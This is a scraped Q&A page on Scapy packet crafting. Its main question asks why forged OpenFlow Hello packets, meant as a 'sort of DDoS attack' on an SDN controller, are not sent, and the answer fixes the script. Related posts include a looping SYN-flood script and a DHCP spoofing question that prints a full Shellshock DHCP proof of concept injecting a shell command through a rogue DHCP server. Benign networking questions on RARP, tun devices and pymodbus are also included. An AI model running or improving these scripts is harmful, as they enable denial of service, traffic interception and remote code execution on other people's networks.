Unable to create OpenFlow13 message with Scapy - python-3.x

I am writing a code where I am capturing openflow13 packets using tcpdump and wireshark. I am running mininet topo and floodlight SDN controller. Once I get my SDN controller IP and port details from the capture, I intent to create multiple OFPTHello messages and send it to the SDN Controller [sort of DDoS attack]. Although I am able to extract the controller's details, I am unable to create Scapy OFPTHello message packets.
Request to please help me identify and resolve the issue
Mininet Topo I am running-
sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13
My Code-
#!/usr/bin/env python3
try:
import time
import subprocess
import json
import sys
from scapy.all import *
from scapy.contrib.openflow import _ofp_header
from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
from scapy.layers.l2 import Ether
ofp_table = {0xfe: "MAX",
0xff: "ALL"}
ofp_buffer = {0xffffffff: "NO_BUFFER"}
ofp_version = {0x04: "OpenFlow 1.3"}
ofp_type = {0: "OFPT_HELLO"}
class OFPHET(_ofp_header):
#classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 2:
t = struct.unpack("!H", _pkt[:2])[0]
return ofp_hello_elem_cls.get(t, Raw)
return Raw
def extract_padding(self, s):
return b"", s
class OFPTHello(_ofp_header):
name = "OFPT_HELLO"
fields_desc = [ByteEnumField("version", 0x04, ofp_version),
ByteEnumField("type", 0, ofp_type),
ShortField("len", None),
IntField("xid", 0),
PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]
# Capture controller's IP address and Port
Hello_Msg = []
Switch_TCP_Port = []
p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
time.sleep(45)
p.terminate()
captures = rdpcap('capture.pcap')
for capture in captures:
msg = (capture.summary()).split(" ")
i = len(msg)
if (msg[i-1] == "OFPTFeaturesRequest"):
Features_Request = capture.summary()
break;
elif (msg[i-1] == "OFPTHello"):
Hello_Msg.append(capture.summary())
for Hello in Hello_Msg:
frame = Hello.split("/")[2]
port = ((frame.split(" ")[2]).split(":"))[1]
Switch_TCP_Port.append(port)
Features_Request = Features_Request.split("/")[2]
Source_Frame = (Features_Request.split(" ")[2]).split(":")
Controller_IP = Source_Frame[0]
Controller_Port = int(Source_Frame[1])
print("\nController's IP Address: %s"%Controller_IP)
print("Controller's Port: %s"%Controller_Port)
# Generating Openfow PAcket_In using Scapy
for p in Switch_TCP_Port:
p = int(p)
packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
send(packet)
except ImportError as e:
print ("\n!!! ImportError !!!")
print ("{0}. Install it.\n".format(e))
Wireshark Capture- [Only has 4 hello packets, no Scapy packets are captured]
Question/Issue- I am able to receive the ideal number of 4 hello packets from the mininet topology. However, the new hello packets I am trying to create using scapy are not being sent/ captured by wireshark. I have attached my scapy code for reference.

In your code do this
modify the line:
send(packet)
To
send(packet,iface='eth1') where eth1 is the egress interface of the attacking VM
The reason is that even if a malformed Openflow packet is put on the wire, Wireshark will still be able to capture it, assuming your attack VM has a route to the controller VM. This means that your code is not putting the Packet on the right wire, send(packet,iface='eth1') will put it on the right wire.

Related

How to send a RARP-request using Scapy in Python

I am trying to fetch an ip address of a remote machine B from my machine A using mac address of Machine B. Both A & B are on same subnet. I am trying to use Scapy library in python and issuing a RARP request.
Below is my code. I am getting 0.0.0.0 as ouput.
import scapy.all as scapy
def get_ip(mac):
arp_request=scapy.ARP(op=3, hwdst=mac)
broadcast = scapy.Ether(dst = 'ff:ff:ff:ff:ff:ff')
arp_request_broadcast = broadcast / arp_request
# print('$$$', arp_request_broadcast.show())
answered_list=scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
unanswered_list=scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[1]
response = {'answered_list':answered_list, 'unanswered_list':unanswered_list}
print('unanswered_list',unanswered_list[0].pdst)
return response
macB='Mac address of machine B'
obj=get_ip(macB)
print(obj)
Output:
unanswered_list 0.0.0.0
{'answered_list': <Results: TCP:0 UDP:0 ICMP:0 Other:0>, 'unanswered_list': <Unanswered: TCP:0 UDP:0 ICMP:0 Other:1>}

How to create two tun for communication? What does point-to-point mean?

In order to implement a tcp stack in userspace, I try to set two tun device and exechange data between them for testing code.However, it seems like that all IP packet wrote to tun are dropped.
For example:
tun0,ip:172.19.16.1/20.
tun1,ip:172.19.32.1/20.
when I use ping 172.19.16.2,tun 0 can receive ICMP packet(from 172.19.16.1 to 172.19.16.2) and write data to tun0 for replying. But when I try to send a ICMP from tun0 to tun1(172.19.16.1 to 172.19.32.1 or vice versa), it failed. tun1 can't receive any data! Why? I try to send TCP packet from tun1 to tun0, it also failed.
From kernel document,I know tun is a point-to-point device and haven't mac address and arp. What does point-to-point mean? Can create two or three tun device for communicating each other?
import fcntl
import os
import if_tun
import ctypes
import struct
from scapy.all import *
from if_tun import IfReq, TUNSETIFF, IFF_TUN
def register_tun(name: str):
fd = os.open("/dev/net/tun",os.O_RDWR)
if fd < 0:
return fd
r = IfReq()
ctypes.memset(ctypes.byref(r), 0, ctypes.sizeof(r))
r.ifr_ifru.ifru_flags = IFF_TUN | 0x1000
r.ifr_ifrn.ifrn_name = name.encode("utf-8")
fcntl.ioctl(fd, TUNSETIFF,r)
return fd
if __name__ == "__main__":
fd = register_tun("tun2")
if fd < 0:
print("error")
while True:
type = input()
a = IP(dst="172.19.16.1",src="172.19.32.1")/TCP()
a = IP(raw(a))
a.show()
print("write:")
print(os.write(fd, raw(a)))
buf = os.read(fd,1024)
print("receive data")
IP(raw(buf)).show()

Forwarding packets to windows

I wrote a code to send a packet from my Kali Linux machine to my Windows PC but the packet doesn't show in Wireshark. There are no errors in the code and it sends the packets but they are not received.
Any one can help ?
#!/usr/bin/python
from scapy.all import *
def synflood(src,tgt,message):
for dport in range(1024,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=4444, dport=dport)
RAWlayer = Raw(load=message)
pkt = IPlayer/TCPlayer
send(pkt)
source = input("src: ")
target = input("targert : ")
message = input(" load : ")
while True:
synflood(source,target,message)
Update: So i fixed the problem! i tried replacing the for statement by "dport = 80" and for the target IP i chose another dest IP than my pc aand it showed up in wireshark, that's how i realised that i should configure an internal VM network instead of the bridged one , and it worked

Unable to establish connection with Pymodbus TCPserver

I am setting up a new TCP Server connected to client through an Ethernet TCP/IP modbus and is supposed to push certain values to a given modbus register (hr = 6022), every few seconds. I do not see any exceptions/errors raised by the script but no data is received by the client. With a StartTCPserver command, I expected to see any network traffic (atleast the handshake) but I do not see any traffic on Wireshark. What could be the next possible diagnostic?
I have tried running similar script locally (without an external ethernet connection); One acting as a client and another as a server and did see the values update on the client register.
from pymodbus.server.sync import StartTcpServer
from pymodbus.device import ModbusDeviceIdentification
from pymodbus.datastore import ModbusSequentialDataBlock
from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
import time
import logging
FORMAT = ('%(asctime)-15s %(threadName)-15s'
' %(levelname)-8s %(module)-15s:%(lineno)-8s %(message)s')
logging.basicConfig(format=FORMAT)
log = logging.getLogger()
log.setLevel(logging.DEBUG)
def run_server():
store = ModbusSlaveContext(
ir=ModbusSequentialDataBlock(6022, [152, 276]),
zero_mode=True
)
context = ModbusServerContext(slaves=store, single=True)
StartTcpServer(context, address=("192.168.10.2", 502))
if __name__ == "__main__":
run_server()
The lines after run_server() are never reached. Code connecting to the server can be placed in a different script;
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
cli = ModbusClient('192.168.10.2', port=502)
assert cli.connect()
res = cli.read_input_registers(6022, count=1, unit=1)
print(res.registers[0])

continue net connection of victim after DHCP spoofing attack

I'm performing a dhcp spoofing attack. First I run a dhcp starvation attack which depletes the ip pool of my router. Then I execute the dhcp spoofing code which assigns a fake ip to my victim device, when it tries to connect to the wireless router.
My problem is, after my victim device is assigned the fake ip it can no longer access the internet. In a real case scenario, if the victim gets disconnected from the internet, they will know something is wrong, also there's no point to a spoofing attack if I cannot see the victim's activity.
So, how do I connect my victim to the internet with the fake ip? yes i know the DHCP rouge server will act as the real server for the victim, but how exactly is the implementation supposed to be, since in my case the dhcp rouge server is my pc and not a router.
Here is the dhcp spoofing code taken from github.
#! /usr/bin/env python
#Based on the PoC from https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
import binascii
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
parser = argparse.ArgumentParser(description='DHCPSock', epilog='Shock dem shells!')
parser.add_argument('-i', '--iface', type=str, required=True, help='Interface to use')
parser.add_argument('-c', '--cmd', type=str, help='Command to execute [default: "echo pwned"]')
args = parser.parse_args()
command = args.cmd or "echo 'pwned'"
if os.geteuid() != 0:
sys.exit("Run me as r00t")
#BOOTP
#siaddr = DHCP server ip
#yiaddr = ip offered to client
#xid = transaction id
#chaddr = clients mac address in binary format
def dhcp_offer(raw_mac, xid):
print "in dhcp_offer"
packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
IP(src="192.168.0.105", dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', '192.168.0.105'),
('subnet_mask', '255.255.255.0'),
('router', '192.168.0.105'),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
#print packet.show()
return packet
def dhcp_ack(raw_mac, xid, command):
print "in dhcp_ack"
packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
IP(src="192.168.0.105", dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', '192.168.0.105'),
('subnet_mask', '255.255.255.0'),
('router', '192.168.0.105'),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
(114, "() { ignored;}; " + command),
"end"]))
#print packet.show()
return packet
def dhcp(resp):
if resp.haslayer(DHCP):
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if resp[DHCP].options[0][1] == 1:
xid = resp[BOOTP].xid
print "[*] Got dhcp DISCOVER from: " + mac_addr + " xid: " + hex(xid)
print "[*] Sending OFFER..."
packet = dhcp_offer(raw_mac, xid)
#packet.plot(lambda x:len(x))
#packet.pdfdump("test.pdf")
#print hexdump(packet)
#print packet.show()
sendp(packet, iface=args.iface)
if resp[DHCP].options[0][1] == 3:
xid = resp[BOOTP].xid
print "[*] Got dhcp REQUEST from: " + mac_addr + " xid: " + hex(xid)
print "[*] Sending ACK..."
packet = dhcp_ack(raw_mac, xid, command)
#print hexdump(packet)
#print packet.show()
sendp(packet, iface=args.iface)
print "[*] Waiting for a DISCOVER..."
sniff(filter="udp and (port 67 or 68)", prn=dhcp, iface=args.iface)
#sniff(filter="udp and (port 67 or 68)", prn=dhcp)

Resources